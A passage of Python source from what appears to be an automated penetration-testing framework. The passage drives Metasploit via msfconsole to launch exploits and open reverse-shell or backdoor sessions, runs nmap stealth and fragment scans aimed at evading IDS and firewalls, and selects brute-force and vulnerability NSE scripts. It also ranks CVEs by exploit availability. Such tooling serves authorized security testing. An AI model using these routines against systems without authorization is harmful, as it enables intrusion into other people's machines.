    cmds.append(f"set RPORT {rport}")
    for k, v in extra_opts.items():
        cmds.append(f"set {k} {v}")

    is_auxiliary = module_name.startswith("auxiliary/")
    if payload and not is_auxiliary:
        cmds.append(f"set PAYLOAD {payload}")
    if needs_lhost and not is_auxiliary:
        cmds.append(f"set LHOST {lhost}")
        cmds.append(f"set LPORT {lport}")

    # Foreground exploit for backdoors, background for reverse shells
    if is_auxiliary:
        cmds += ["run", "exit -y"]
    elif not needs_lhost:
        # Backdoor — foreground so session stays alive
        cmds += ["exploit", "sessions -l", "exit -y"]
    else:
        # Reverse shell — background job, poll, then exit
        cmds += ["exploit -j", "sleep 10", "sessions -l",
                 "sleep 5", "sessions -l", "exit -y"]

    one_liner = "; ".join(cmds)
    emit(f"[MSF-CLI] msfconsole -q -x '{one_liner[:150]}...'", "info")

    session_opened = False
    try:
        proc = subprocess.Popen(
            ["msfconsole", "-q", "-x", one_liner],
            stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1,
        )
        deadline = time.time() + timeout
        while True:
            if proc.stdout is None:
                break
            line = proc.stdout.readline()
            if not line:
                if proc.poll() is not None:
                    break
                if time.time() > deadline:
                    proc.kill()
                    emit("[MSF-CLI] timeout — killed", "error")
                    break
                continue
            line = line.rstrip()
            if "session" in line.lower() and "opened" in line.lower():
                session_opened = True
            lvl = ("error" if any(k in line.lower() for k in ("[-]", "error", "fail"))
                   else ("ok" if any(k in line for k in ("[+]", "session", "Opened"))
                         else "info"))
            emit(line, lvl)
    except Exception as e:
        emit(f"[MSF-CLI] error: {e}", "error")

    return {
        "ok":              True,
        "module":          module_name,
        "session_opened":  session_opened,
        "session_id":      "",
        "output":          "\n".join(output_lines),
        "duration_s":      round(time.time() - started, 1),
        "path":            "console_cli",
    }

"""PentestChain v3 Extensions"""

import logging
from typing import Callable, Optional

logger = logging.getLogger("v3_extensions")


# 1.  SMART MULTI-TECHNIQUE PORT DISCOVERY

def _run_nmap(cmd: str, timeout: int = 300) -> dict:
    """Run nmap and return a dict of port → {state, protocol, service}."""
    try:
        r = subprocess.run(shlex.split(cmd), capture_output=True, text=True, timeout=timeout)
        output = r.stdout + r.stderr
        ports = {}
        for line in output.splitlines():
            m = re.match(r"(\d+)/(tcp|udp)\s+(\S+)\s*(.*)", line)
            if m:
                port, proto, state, service = m.groups()
                ports[int(port)] = {
                    "state":    state.strip(),
                    "protocol": proto.strip(),
                    "service":  service.strip(),
                }
        return ports
    except Exception as e:
        logger.warning(f"nmap parse error: Command {cmd[:80]}... — {e}")
        return {}


class SmartPortDiscovery:
    """
    Multi-technique port verification with per-port confidence scoring.

    Confidence score per port accumulates across techniques:
        SYN open      → 0.60
        TCP Connect   → +0.25 (confirmed) or −0.20 (failed)
        UDP open      → 0.70
        NULL/FIN/XMAS → +0.15 per technique that returns open|filtered
        Fragment      → +0.10
        ACK           → firewall mapping only (no confidence change)

    get_verified_ports(min_confidence) returns ports above the threshold.
    """

    def __init__(self, target: str, emit_fn=None):
        self.target = target
        self.port_confidence: dict = {}   # port → {state, confidence, protocol, evidence, service, firewall}
        self.emit = emit_fn or (lambda msg, level="info": logger.info(msg))


    def run_all(self, port_range: str = "1-1000", scan_profile: str = "standard") -> dict:
        """
        Run the verification pipeline according to scan_profile:
          quick    — SYN only (fastest, lowest accuracy)
          standard — SYN + TCP Connect + UDP top-100
          full     — all six techniques
          stealth  — NULL/FIN/XMAS with slow timing (IDS evasion)
        """
        self.emit(f"[PORT-V3] Smart scan on {self.target} (profile={scan_profile})", "info")

        if scan_profile == "stealth":
            # T2 instead of T1 — T1 is too slow even for stealth (300s+ timeouts)
            self._syn_scan(port_range, timing="T2")
            self._stealth_verify()
            self._udp_scan()
            return self.get_results()

        # Always run SYN baseline
        self._syn_scan(port_range)

        if scan_profile == "quick":
            return self.get_results()

        # standard +
        self._tcp_connect_verify()
        self._udp_scan()

        if scan_profile == "standard":
            return self.get_results()

        # full — add evasion techniques on filtered ports
        self._stealth_verify()
        self._fragment_scan()
        self._ack_firewall_map()

        return self.get_results()

    def get_verified_ports(self, min_confidence: float = 0.5) -> list:
        """Return list of port numbers (int) with confidence ≥ min_confidence."""
        return sorted(
            p for p, v in self.port_confidence.items()
            if v.get("confidence", 0) >= min_confidence
        )

    def get_confidence_report(self) -> dict:
        """Return the full confidence dict (port → metadata) for UI display."""
        return {
            str(port): {
                "confidence": round(v["confidence"], 2),
                "state":      v["state"],
                "protocol":   v["protocol"],
                "service":    v.get("service", ""),
                "evidence":   v.get("evidence", []),
                "firewall":   v.get("firewall", "unknown"),
            }
            for port, v in self.port_confidence.items()
        }

    def get_results(self) -> dict:
        return {"port_confidence": self.get_confidence_report()}


    def _syn_scan(self, port_range: str, timing: str = "T4"):
        """SYN scan — initial baseline. Falls back to TCP Connect (-sT) if SYN
        produces zero results, because raw-socket SYN needs root and silently
        finds nothing under Docker / Mac UTM NAT without elevated caps."""
        self.emit(f"[PORT-V3] SYN scan (baseline, {timing})...", "run")
        ports = {}
        try:
            ports = _run_nmap(f"nmap -sS -{timing} -p {port_range} --open --host-timeout 90s {self.target}", timeout=120)
        except Exception as e:
            self.emit(f"[PORT-V3] SYN scan failed: {e}", "warn")
            ports = {}

        # Fallback: if SYN returned nothing (no caps / NAT), do a full TCP
        # Connect scan over the same range. -sT works without raw sockets.
        if not ports:
            self.emit(f"[PORT-V3] SYN returned no ports — falling back to TCP Connect (-sT)…", "warn")
            try:
                ports = _run_nmap(f"nmap -sT -{timing} -p {port_range} --open --host-timeout 150s {self.target}",
                                    timeout=180)
            except Exception as e:
                self.emit(f"[PORT-V3] -sT fallback failed: {e}", "warn")
                ports = {}

        for port, info in ports.items():
            state = info["state"]
            if state == "open":
                self.port_confidence[port] = {
                    "state": "open", "confidence": 0.60,
                    "protocol": "tcp", "evidence": ["SYN_or_CONNECT"],
                    "service": info.get("service", ""), "firewall": "unknown",
                }
            elif state == "filtered":
                self.port_confidence[port] = {
                    "state": "filtered", "confidence": 0.30,
                    "protocol": "tcp", "evidence": ["SYN-filtered"],
                    "service": "", "firewall": "likely_present",
                }
        n_open = sum(1 for v in self.port_confidence.values() if v["state"] == "open")
        n_filt = sum(1 for v in self.port_confidence.values() if v["state"] == "filtered")
        self.emit(f"[PORT-V3] TCP baseline: {n_open} open, {n_filt} filtered", "ok")

    def _tcp_connect_verify(self):
        """Full TCP handshake on SYN-open ports — confirms or lowers confidence."""
        open_ports = [p for p, v in self.port_confidence.items() if v["state"] == "open"]
        if not open_ports:
            return
        self.emit(f"[PORT-V3] TCP Connect verification on {len(open_ports)} port(s)...", "run")
        try:
            pl = ",".join(map(str, open_ports))
            ports = _run_nmap(f"nmap -sT -p {pl} {self.target}")
            confirmed = 0
            for port in open_ports:
                if port in ports and ports[port]["state"] == "open":
                    self.port_confidence[port]["confidence"] += 0.25
                    self.port_confidence[port]["evidence"].append("TCP_CONNECT")
                    confirmed += 1
                elif port in self.port_confidence:
                    self.port_confidence[port]["confidence"] -= 0.20
                    self.port_confidence[port]["evidence"].append("TCP_CONNECT_FAILED")
            self.emit(f"[PORT-V3] TCP Connect: {confirmed}/{len(open_ports)} confirmed", "ok")
        except Exception as e:
            self.emit(f"[PORT-V3] TCP Connect failed: {e}", "warn")

    def _udp_scan(self):
        """UDP top-100 — discovers services invisible to TCP scans."""
        self.emit("[PORT-V3] UDP scan (top-100 ports)...", "run")
        try:
            ports = _run_nmap(f"nmap -sU --top-ports 100 -T4 {self.target}", timeout=600)
            udp_open = 0
            for port, info in ports.items():
                if info["state"] in ("open", "open|filtered"):
                    self.port_confidence[port] = {
                        "state": "open",
                        "confidence": 0.70 if info["state"] == "open" else 0.50,
                        "protocol": "udp",
                        "evidence": ["UDP"],
                        "service": info.get("service", ""),
                        "firewall": "unknown",
                    }
                    udp_open += 1
            self.emit(f"[PORT-V3] UDP: {udp_open} service(s) found", "ok")
        except Exception as e:
            self.emit(f"[PORT-V3] UDP scan failed: {e}", "warn")

    def _stealth_verify(self):
        """NULL/FIN/XMAS on filtered ports — bypass stateless firewalls."""
        filtered = [p for p, v in self.port_confidence.items() if v["state"] == "filtered"]
        if not filtered:
            self.emit("[PORT-V3] No filtered ports — skipping stealth scans", "info")
            return
        self.emit(f"[PORT-V3] NULL/FIN/XMAS on {len(filtered)} filtered port(s)...", "run")
        try:
            pl = ",".join(map(str, filtered))
            for name, flag in [("NULL", "-sN"), ("FIN", "-sF"), ("XMAS", "-sX")]:
                ports = _run_nmap(f"nmap {flag} -p {pl} -T2 {self.target}")
                for port, info in ports.items():
                    if port in self.port_confidence and info["state"] in ("open|filtered", "open"):
                        self.port_confidence[port]["confidence"] += 0.15
                        self.port_confidence[port]["evidence"].append(name)
            self.emit("[PORT-V3] Stealth scans complete", "ok")
        except Exception as e:
            self.emit(f"[PORT-V3] Stealth scans failed: {e}", "warn")

    def _fragment_scan(self):
        """Fragmented packets on low-confidence ports — bypass IDS/IPS."""
        low_conf = [p for p, v in self.port_confidence.items()
                    if 0.30 < v["confidence"] < 0.70]
        if not low_conf:
            return
        self.emit(f"[PORT-V3] Fragment scan on {len(low_conf)} low-confidence port(s)...", "run")
        try:
            pl = ",".join(map(str, low_conf))
            ports = _run_nmap(f"nmap -sS -f -p {pl} {self.target}")
            upgraded = 0
            for port, info in ports.items():
                if port in self.port_confidence and info["state"] == "open":
                    self.port_confidence[port]["confidence"] += 0.10
                    self.port_confidence[port]["evidence"].append("FRAG")
                    upgraded += 1
            self.emit(f"[PORT-V3] Fragment scan: {upgraded} port(s) upgraded", "ok")
        except Exception as e:
            self.emit(f"[PORT-V3] Fragment scan failed: {e}", "warn")

    def _ack_firewall_map(self):
        """ACK scan — maps firewall rules (unfiltered vs filtered)."""
        all_ports = list(self.port_confidence.keys())
        if not all_ports:
            return
        self.emit(f"[PORT-V3] ACK firewall mapping on {len(all_ports)} port(s)...", "run")
        try:
            pl = ",".join(map(str, all_ports))
            ports = _run_nmap(f"nmap -sA -p {pl} {self.target}")
            for port, info in ports.items():
                if port in self.port_confidence:
                    fw = "stateful_firewall" if info["state"] == "filtered" else "open_or_no_firewall"
                    self.port_confidence[port]["firewall"] = fw
            self.emit("[PORT-V3] ACK firewall mapping complete", "ok")
        except Exception as e:
            self.emit(f"[PORT-V3] ACK scan failed: {e}", "warn")


# 2.  AI-DRIVEN NSE SCRIPT SELECTION

# Maps a pattern (checked against banner/product/version) to extra scripts to add.
VERSION_TRIGGERS = {
    # SSH
    r"openssh[_\s]7\.[0-4]":           ["ssh-auth-methods", "ssh-brute", "sshv1"],
    r"openssh[_\s]([0-6]\.|7\.[0-4])": ["sshv1", "ssh2-enum-algos"],
    # Apache
    r"apache[/\s]2\.[0-3]":            ["http-shellshock", "http-vuln-cve2011-3192",
                                         "http-vuln-cve2013-6786", "http-methods"],
    r"apache[/\s]2\.4\.(0-49)":        ["http-vuln-cve2021-41773", "http-vuln-cve2021-42013"],
    # OpenSSL
    r"openssl[/\s]1\.0\.[01]":         ["ssl-heartbleed", "ssl-poodle", "ssl-ccs-injection"],
    r"openssl[/\s]1\.0\.2[a-l]":       ["ssl-heartbleed", "ssl-drown"],
    # Samba
    r"samba[/\s]3\.[0-5]":             ["smb-vuln-cve-2017-7494", "smb-vuln-ms08-067",
                                         "smb-enum-users", "smb-brute"],
    r"samba[/\s]4\.[0-9]":             ["smb-vuln-ms17-010", "smb-protocols",
                                         "smb-security-mode", "smb-enum-shares"],
    # vsftpd
    r"vsftpd[/\s]2\.3\.4":             ["ftp-vsftpd-backdoor"],
    r"proftpd[/\s]1\.3\.[0-3]":        ["ftp-proftpd-backdoor"],
    # Tomcat
    r"apache[_\s]tomcat[/\s][0-8]":    ["http-vuln-cve2017-12615", "http-default-accounts",
                                         "ajp-headers", "ajp-methods"],
    # WordPress
    r"wordpress":                       ["http-wordpress-users", "http-wordpress-enum",
                                         "http-wordpress-brute"],
    # Drupal
    r"drupal":                          ["http-drupal-enum", "http-vuln-cve2014-3704",
                                         "http-vuln-cve2018-7600"],
    # MySQL
    r"mysql[/\s][45]":                 ["mysql-empty-password", "mysql-brute",
                                         "mysql-dump-hashes", "mysql-vuln-cve2012-2122"],
    # Redis
    r"redis":                           ["redis-info", "redis-brute"],
    # Elasticsearch
    r"elasticsearch[/\s][01]":          ["http-vuln-cve2015-1427"],
    # IIS
    r"microsoft[_\s]iis[/\s][0-8]":    ["http-iis-webdav-vuln", "http-iis-short-name-brute",
                                         "http-ntlm-info"],
    # PHP
    r"php[/\s][456]":                  ["http-php-version", "http-phpself-xss",
                                         "http-vuln-cve2012-1823"],
    # Exchange
    r"microsoft[_\s]exchange":          ["http-ntlm-info", "http-auth-finder"],
    # VNC
    r"rfb[/\s]00[23]":                 ["vnc-brute", "realvnc-auth-bypass"],
    # RDP
    r"rdp|ms-wbt":                      ["rdp-vuln-ms12-020", "rdp-enum-encryption"],
    # Jenkins
    r"jenkins":                         ["http-jenkins-script-console"],
    # Mongo
    r"mongodb":                         ["mongodb-databases", "mongodb-brute"],
    # RabbitMQ
    r"rabbitmq|amqp":                   ["amqp-info"],
}

BASE_SCRIPTS = {
    "21":   ["ftp-anon", "ftp-bounce", "ftp-syst", "ftp-vsftpd-backdoor", "banner"],
    "22":   ["ssh-auth-methods", "ssh-hostkey", "ssh2-enum-algos", "banner"],
    "23":   ["telnet-ntlm-info", "telnet-brute"],
    "25":   ["smtp-commands", "smtp-enum-users", "smtp-open-relay", "smtp-ntlm-info"],
    "53":   ["dns-recursion", "dns-zone-transfer", "dns-nsid"],
    "80":   ["http-title", "http-headers", "http-methods", "http-server-header",
             "http-robots.txt", "http-enum", "http-waf-detect", "http-git",
             "http-default-accounts", "http-shellshock", "http-sql-injection"],
    "88":   ["krb5-enum-users"],
    "110":  ["pop3-capabilities", "pop3-ntlm-info"],
    "111":  ["nfs-showmount", "rpcinfo"],
    "139":  ["smb-os-discovery", "smb-security-mode", "smb-enum-shares",
             "smb-vuln-ms17-010", "smb-vuln-ms08-067", "smb-protocols"],
    "143":  ["imap-capabilities", "imap-ntlm-info"],
    "161":  ["snmp-info", "snmp-sysdescr", "snmp-interfaces", "snmp-brute"],
    "389":  ["ldap-rootdse", "ldap-search"],
    "443":  ["ssl-cert", "ssl-enum-ciphers", "ssl-heartbleed", "ssl-dh-params",
             "http-title", "http-headers", "http-methods", "http-waf-detect",
             "http-default-accounts", "http-git"],
    "445":  ["smb-os-discovery", "smb-security-mode", "smb-enum-shares",
             "smb-enum-users", "smb-vuln-ms17-010", "smb-vuln-ms08-067",
             "smb-protocols", "smb-double-pulsar-backdoor"],
    "1433": ["ms-sql-info", "ms-sql-empty-password", "ms-sql-ntlm-info"],
    "1521": ["oracle-tns-version", "oracle-sid-brute"],
    "2049": ["nfs-showmount", "nfs-ls", "nfs-statfs"],
    "3306": ["mysql-info", "mysql-empty-password", "mysql-databases"],
    "3389": ["rdp-enum-encryption", "rdp-vuln-ms12-020"],
    "5432": ["pgsql-brute"],
    "5900": ["vnc-info", "vnc-brute", "realvnc-auth-bypass"],
    "6379": ["redis-info"],
    "8080": ["http-title", "http-headers", "http-methods", "http-enum",
             "http-default-accounts", "http-waf-detect", "http-server-header"],
    "8443": ["ssl-cert", "ssl-enum-ciphers", "http-title", "http-headers",
             "http-methods", "http-default-accounts"],
    "27017": ["mongodb-databases", "mongodb-info"],
}

NSE_SELECTION_SYSTEM_PROMPT = """You are an expert penetration tester specialising in nmap NSE scripts.
Given a list of discovered services with version banners, select the most effective NSE scripts for each port.

Rules:
- Only suggest real nmap NSE scripts that exist on Kali Linux
- Prioritise vulnerability-detection scripts over brute-force scripts
- If a banner reveals a specific version, add version-specific CVE scripts
- For unknown services, suggest: ["banner", "version", "default"]
- Cross-service correlation: if SMB is open AND port 88 is open → likely AD → add domain scripts
- Cap at 15 scripts per port
- Respond ONLY with valid JSON: {"port": ["script1", "script2", ...], ...}"""


def _apply_version_triggers(banner: str, scripts: list) -> list:
    """Check banner against VERSION_TRIGGERS and add matching scripts."""
    banner_lower = banner.lower()
    added = set(scripts)
    for pattern, extra in VERSION_TRIGGERS.items():
        if re.search(pattern, banner_lower):
            for s in extra:
                if s not in added:
                    scripts.append(s)
                    added.add(s)
    return scripts


def _cross_service_correlation(services: list, scripts_by_port: dict) -> dict:
    """
    Apply cross-service correlation rules:
    - SMB + Kerberos → add AD enumeration scripts
    - HTTP + DB → add injection-focused scripts
    - Multiple open ports suggesting DMZ → add firewall bypass scripts
    """
    ports_open = {s["port"] for s in services}
    svc_names  = {s.get("service", "").lower() for s in services}

    # Active Directory indicator: Kerberos (88) + LDAP (389) + SMB (445)
    if {"88", "389", "445"}.issubset(ports_open):
        for port in ("88", "389", "445", "139"):
            if port in scripts_by_port:
                for s in ["ldap-search", "ldap-rootdse", "smb-enum-domains",
                           "smb-enum-users", "krb5-enum-users", "msrpc-enum"]:
                    if s not in scripts_by_port[port]:
                        scripts_by_port[port].append(s)

    # WordPress detection: 80/443 with WordPress banner → add WP scripts
    for svc in services:
        if "wordpress" in (svc.get("banner", "") + svc.get("product", "")).lower():
            for port in ("80", "443", "8080", "8443"):
                if port in scripts_by_port:
                    for s in ["http-wordpress-users", "http-wordpress-enum", "http-wordpress-brute"]:
                        if s not in scripts_by_port[port]:
                            scripts_by_port[port].append(s)

    # Jenkins: 8080 + "jenkins" in banner
    for svc in services:
        if "jenkins" in (svc.get("banner", "") + svc.get("product", "")).lower():
            port = svc.get("port", "")
            if port in scripts_by_port:
                for s in ["http-default-accounts", "http-auth-finder"]:
                    if s not in scripts_by_port[port]:
                        scripts_by_port[port].append(s)

    return scripts_by_port


def smart_select_nse_scripts(services: list, scan_profile: str = "standard",
                              call_ai_fn: Callable = None) -> dict:
    """
    AI-driven NSE script selection.

    Args:
        services:      list of service dicts from detect_services()
        scan_profile:  quick/standard/full/stealth — controls AI call and script depth
        call_ai_fn:    optional AI call function from mcp_agent.call_ai

    Returns:
        dict of port_str → list of script names
    """
    scripts_by_port = {}

    for svc in services:
        port = svc["port"]
        banner = f"{svc.get('product','')} {svc.get('version','')} {svc.get('service','')}".strip().lower()

        # Get base scripts for this port
        base = list(BASE_SCRIPTS.get(port, []))

        # Apply version triggers from the banner
        base = _apply_version_triggers(banner, base)

        # Fallback for unknown ports — use service name heuristics
        if not base:
            svc_name = svc.get("service", "").lower()
            if any(k in svc_name for k in ("http", "www", "web", "tomcat")):
                base = list(BASE_SCRIPTS.get("80", ["http-title", "http-headers", "http-methods"]))
            elif "ftp" in svc_name:
                base = list(BASE_SCRIPTS.get("21", ["ftp-anon", "ftp-syst"]))
            elif "ssh" in svc_name:
                base = list(BASE_SCRIPTS.get("22", ["ssh-auth-methods", "ssh-hostkey"]))
            elif "smtp" in svc_name:
                base = list(BASE_SCRIPTS.get("25", ["smtp-commands"]))
            elif any(k in svc_name for k in ("smb", "netbios", "microsoft-ds")):
                base = list(BASE_SCRIPTS.get("445", ["smb-os-discovery", "smb-security-mode"]))
            elif any(k in svc_name for k in ("ssl", "tls")):
                base = ["ssl-cert", "ssl-enum-ciphers", "ssl-heartbleed"]
            elif "mysql" in svc_name or "mariadb" in svc_name:
                base = list(BASE_SCRIPTS.get("3306", ["mysql-info"]))
            else:
                base = ["banner", "default"]

        scripts_by_port[port] = base

    scripts_by_port = _cross_service_correlation(services, scripts_by_port)

    if scan_profile in ("standard", "full") and call_ai_fn and services:
        try:
            svc_summary = [
                {
                    "port":    s["port"],
                    "service": s.get("service", ""),
                    "banner":  f"{s.get('product','')} {s.get('version','')}".strip(),
                    "current_scripts": scripts_by_port.get(s["port"], [])[:5],  # show first 5
                }
                for s in services[:15]  # cap prompt size
            ]

            prompt = f"""{NSE_SELECTION_SYSTEM_PROMPT}

DISCOVERED SERVICES:
{json.dumps(svc_summary, indent=2)}

ALL OPEN PORTS: {[s['port'] for s in services]}

For each port, return the optimal script list. Consider version-specific CVE scripts.
Respond ONLY with JSON: {{"port": ["script1", "script2", ...], ...}}"""

            response = call_ai_fn(prompt)
            if response:
                # Strip markdown fences
                response = re.sub(r"^```(?:json)?\s*\n?", "", response.strip())
                response = re.sub(r"\n?\s*```\s*$", "", response.strip())
                ai_scripts = json.loads(response)

                # Merge AI suggestions into existing — deduplicated
                for port, ai_list in ai_scripts.items():
                    if port in scripts_by_port:
                        existing = set(scripts_by_port[port])
                        for s in ai_list:
                            if isinstance(s, str) and s not in existing:
                                scripts_by_port[port].append(s)
                                existing.add(s)
                    else:
                        scripts_by_port[port] = ai_list

                logger.info(f"[NSE-V3] AI enhanced scripts for {len(ai_scripts)} port(s)")

        except Exception as e:
            logger.warning(f"[NSE-V3] AI script selection failed: {e} — using rule-based only")

    for port in scripts_by_port:
        seen = set()
        deduped = []
        for s in scripts_by_port[port]:
            if s not in seen:
                seen.add(s)
                deduped.append(s)
        scripts_by_port[port] = deduped[:20]

    total = sum(len(v) for v in scripts_by_port.values())
    logger.info(f"[NSE-V3] Selected {total} scripts across {len(scripts_by_port)} port(s)")
    return scripts_by_port


# 3.  MULTI-SOURCE CVE INTELLIGENCE

class MultiSourceCVE:
    """
    Enriched CVE lookup aggregating six sources:
        NVD         — CVSS scores (primary)
        CISA KEV    — known actively exploited (high signal)
        ExploitDB   — local searchsploit (exploit availability)
        OSV         — open-source ecosystem vulnerabilities
        GitHub Adv  — GitHub Security Advisory Database (free API)
        Metasploit  — check if MSF module exists (via searchsploit cross-ref)

    Composite risk score formula:
        base = CVSS_base × 10          (0–100)
        if exploit_available: × 1.5
        if actively_exploited: × 2.0
        if msf_module_exists:  × 1.3
        confidence = HIGH if ≥3 sources, MEDIUM if 2, LOW if 1
    """

    NVD_URL  = "https://services.nvd.nist.gov/rest/json/cves/2.0"
    CISA_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
    OSV_URL  = "https://api.osv.dev/v1/query"
    GH_URL   = "https://api.github.com/advisories"

    def lookup_nvd(self, product: str, version: str, api_key: str = "") -> list:
        """NVD API 2.0 — primary CVSS source."""
        try:
            headers = {"apiKey": api_key} if api_key else {}
            params  = {"keywordSearch": f"{product} {version}", "resultsPerPage": 8}
            r = requests.get(self.NVD_URL, params=params, headers=headers, timeout=6)
            if r.status_code == 429:
                time.sleep(8)
                r = requests.get(self.NVD_URL, params=params, headers=headers, timeout=6)
            r.raise_for_status()
            results = []
            for item in r.json().get("vulnerabilities", []):
                c = item["cve"]
                score, sev = None, "UNKNOWN"
                for mk in ("cvssMetricV31", "cvssMetricV30", "cvssMetricV2"):
                    try:
                        m     = c["metrics"][mk][0]
                        score = m["cvssData"]["baseScore"]
                        sev   = m["cvssData"].get("baseSeverity", "")
                        break
                    except Exception:
                        continue
                results.append({
                    "id":          c["id"],
                    "score":       float(score) if score is not None else None,
                    "severity":    sev,
                    "description": c["descriptions"][0]["value"][:200],
                    "source":      "NVD",
                })
            return results
        except Exception as e:
            logger.warning(f"[CVE-V3] NVD failed: {e}")
            return []

    def lookup_cisa_kev(self, cve_ids: list) -> list:
        """CISA Known Exploited Vulnerabilities — checks if any CVE is actively exploited."""
        try:
            r = requests.get(self.CISA_URL, timeout=6)
            r.raise_for_status()
            kev_set = {v.get("cveID", "") for v in r.json().get("vulnerabilities", [])}
            return [{"id": cid, "actively_exploited": True, "source": "CISA_KEV"}
                    for cid in cve_ids if cid in kev_set]
        except Exception as e:
            logger.warning(f"[CVE-V3] CISA KEV failed: {e}")
            return []

    def lookup_exploitdb(self, product: str, version: str) -> list:
        """ExploitDB via local searchsploit (Kali built-in)."""
        try:
            query = f"{product} {version}".strip()
            r = subprocess.run(
                ["searchsploit", "--json", query],
                capture_output=True, text=True, timeout=15
            )
            data    = json.loads(r.stdout or "{}")
            exploits = data.get("RESULTS_EXPLOIT", [])
            results  = []
            for ex in exploits[:5]:
                title = ex.get("Title", "")
                eid   = ex.get("EDB-ID", "")
                cve_m = re.search(r"CVE-\d{4}-\d+", title, re.I)
                cve_id = cve_m.group(0) if cve_m else f"EDB-{eid}"
                results.append({
                    "id":              cve_id,
                    "score":           None,
                    "severity":        "EXPLOITDB",
                    "description":     title[:200],
                    "source":          "ExploitDB",
                    "edb_id":          eid,
                    "exploit_available": True,
                })
            return results
        except Exception as e:
            logger.warning(f"[CVE-V3] ExploitDB failed: {e}")
            return []

    def lookup_osv(self, package_name: str, version: str) -> list:
        """OSV.dev — open-source ecosystem vulnerabilities.

        NOTE: OSV returns `severity[].score` as a CVSS VECTOR STRING
        (e.g. 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H'), not a number.
        We use ai_helpers.extract_cvss_from_vector() to derive an approximate
            """
        try:
            payload = {
                "version": version,
                "package": {"name": package_name, "ecosystem": "Debian"}
            }
            r = requests.post(self.OSV_URL, json=payload, timeout=6)
            if r.status_code != 200:
                return []

            # Lazy import to avoid circular dep at module load
            try:
                from ai_helpers import extract_cvss_from_vector
            except Exception:
                extract_cvss_from_vector = lambda x: None

            results = []
            for v in r.json().get("vulns", [])[:5]:
                cve_id  = next((a for a in v.get("aliases", []) if a.startswith("CVE-")), v["id"])
                sev_lst = v.get("severity", [])
                raw_score = sev_lst[0].get("score") if sev_lst else None

                numeric: Optional[float] = None
                if raw_score is not None:
                    # Try plain number first
                    try:
                        numeric = float(raw_score)
                    except (TypeError, ValueError):
                        # Fall through to CVSS vector heuristic
                        numeric = extract_cvss_from_vector(raw_score)

                results.append({
                    "id":          cve_id,
                    "score":       numeric,
                    "severity":    "OSV",
                    "description": v.get("summary", "")[:200],
                    "source":      "OSV",
                })
            return results
        except Exception as e:
            logger.warning(f"[CVE-V3] OSV failed: {e}")
            return []

    def lookup_github_advisory(self, product: str) -> list:
        """GitHub Security Advisory Database (free, no key required)."""
        try:
            r = requests.get(
                self.GH_URL,
                params={"affects": product, "per_page": 5},
                headers={"Accept": "application/vnd.github+json"},
                timeout=6,
            )
            if r.status_code != 200:
                return []
            results = []
            for adv in r.json()[:5]:
                cve_id = adv.get("cve_id") or adv.get("ghsa_id", "")
                results.append({
                    "id":          cve_id,
                    "score":       None,
                    "severity":    adv.get("severity", ""),
                    "description": adv.get("summary", "")[:200],
                    "source":      "GitHub_Advisory",
                })
            return results
        except Exception as e:
            logger.warning(f"[CVE-V3] GitHub Advisory failed: {e}")
            return []

    def check_metasploit_module(self, cve_id: str) -> Optional[str]:
        """Check if a Metasploit module exists for this CVE via searchsploit."""
        try:
            r = subprocess.run(
                ["searchsploit", "--json", cve_id],
                capture_output=True, text=True, timeout=15
            )
            data = json.loads(r.stdout or "{}")
            for ex in data.get("RESULTS_EXPLOIT", []):
                title = ex.get("Title", "").lower()
                if "metasploit" in title or "msf" in title:
                    return ex.get("Title", "")[:80]
        except Exception:
            pass
        return None

    def enriched_lookup(self, product: str, version: str, api_key: str = "",
                        emit_fn: Callable = None) -> list:
        """
        Full multi-source CVE lookup with deduplication, KEV flagging,
        Metasploit cross-reference, and composite risk scoring.

        Returns list of enriched CVE dicts sorted by risk_score descending.
        """
        emit = emit_fn or logger.info
        if not product:
            return []

        emit(f"[CVE-V3] Enriched lookup: {product} {version}")

        with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool:
            fut_nvd  = pool.submit(self.lookup_nvd, product, version, api_key)
            fut_edb  = pool.submit(self.lookup_exploitdb, product, version)
            fut_osv  = pool.submit(self.lookup_osv, product, version)
            fut_gh   = pool.submit(self.lookup_github_advisory, product)
            # CISA KEV needs NVD IDs first — submit with empty list; we refetch below
            fut_nvd_result = fut_nvd.result()
            cve_ids  = [c["id"] for c in fut_nvd_result if c["id"].startswith("CVE-")]
            fut_kev  = pool.submit(self.lookup_cisa_kev, cve_ids)

            edb_results = fut_edb.result()
            osv_results = fut_osv.result()
            gh_results  = fut_gh.result()
            kev_results = fut_kev.result()

        kev_set = {r["id"] for r in kev_results}

        cve_map: dict = {}
        all_batches = [
            ("NVD",              fut_nvd_result),
            ("ExploitDB",        edb_results),
            ("OSV",              osv_results),
            ("GitHub_Advisory",  gh_results),
        ]

        for source_name, batch in all_batches:
            for vuln in batch:
                cid = vuln.get("id", "")
                if not cid:
                    continue
                if cid not in cve_map:
                    cve_map[cid] = {
                        "id":               cid,
                        "score":            None,
                        "severity":         "",
                        "description":      "",
                        "sources_confirmed": [],
                        "exploit_available": False,
                        "actively_exploited": False,
                        "metasploit_module":  None,
                        "risk_score":         0.0,
                    }
                entry = cve_map[cid]
                entry["sources_confirmed"].append(source_name)

                # Take best score
                s = vuln.get("score")
                try:
                    s_float = float(s) if s is not None else None
                except (TypeError, ValueError):
                    s_float = None
                if s_float is not None and (entry["score"] is None or s_float > (entry["score"] or 0)):
                    entry["score"] = s_float

                # Take first non-empty severity
                sev = vuln.get("severity", "")
                if sev and not entry["severity"]:
                    entry["severity"] = sev

                # Take first non-empty description
                desc = vuln.get("description", "")
                if desc and not entry["description"]:
                    entry["description"] = desc[:200]

                if vuln.get("exploit_available"):
                    entry["exploit_available"] = True

        for cid in kev_set:
            if cid in cve_map:
                cve_map[cid]["actively_exploited"] = True
                if "CISA_KEV" not in cve_map[cid]["sources_confirmed"]:
                    cve_map[cid]["sources_confirmed"].append("CISA_KEV")

        high_cves = [cid for cid, d in cve_map.items() if (d.get("score") or 0) >= 7.0]
        for cid in high_cves[:5]:   # limit MSF lookups to avoid slowdown
            msf = self.check_metasploit_module(cid)
            if msf:
                cve_map[cid]["metasploit_module"] = msf

        for cid, data in cve_map.items():
            try:
                raw_score = float(data["score"]) if data.get("score") is not None else 0.0
            except (TypeError, ValueError):
                raw_score = 0.0
            base = raw_score * 10.0   # 0–100 scale

            if data["exploit_available"]:
                base *= 1.5
            if data["actively_exploited"]:
                base *= 2.0
            if data["metasploit_module"]:
                base *= 1.3

